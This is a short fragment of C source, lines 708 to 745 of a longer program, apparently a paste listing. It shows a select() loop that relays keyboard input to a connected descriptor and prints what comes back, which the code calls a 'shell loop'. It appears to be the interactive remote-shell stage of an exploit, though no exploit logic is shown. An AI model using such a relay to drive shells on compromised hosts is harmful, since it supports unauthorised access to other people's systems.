  708.       { fprintf(stderr, "shell loop aborted because of error code %i ('%s')\n", errno, strerror(errno));
  709.         break;
  710.       }
  711.       
  712.       if (FD_ISSET(fileno(stdin), &readfds))
  713.       { int writelen;
  714.    
  715.         readlen = read(fileno(stdin), readbuf, sizeof (readbuf));
  716.         if (readlen == -1)
  717.         { fprintf(stderr, "read() failed with error code %i ('%s')\n", errno, strerror(errno));
  718.           exit(-1);
  719.         }
  720.         if ((writelen = write(fd, readbuf, readlen)) == -1)
  721.         { fprintf(stderr, "write() failed with error code %i ('%s')\n", errno, strerror(errno));
  722.           exit(-1);
  723.         }
  724.         FD_ZERO(&readfds);
  725.         continue;
  726.       }
  727.       if (FD_ISSET(fd, &readfds))
  728.       { if ((readlen = read(fd, readbuf, sizeof (readbuf))) == -1)
  729.         { fprintf(stderr, "shell loop aborted because of error code %i ('%s')\n", errno, strerror(errno));
  730.           break;
  731.         }
  732.         write(fileno(stderr), readbuf, readlen);
  733.         FD_ZERO(&readfds);   
  734.         continue;
  735.       }
  736.     }
  737.  
  738.   }
  739.  
  740.   printf("user break.\n");
  741.   signal(SIGINT, SIG_DFL);
  742.  
  743.   return 0;
  744. }
  745.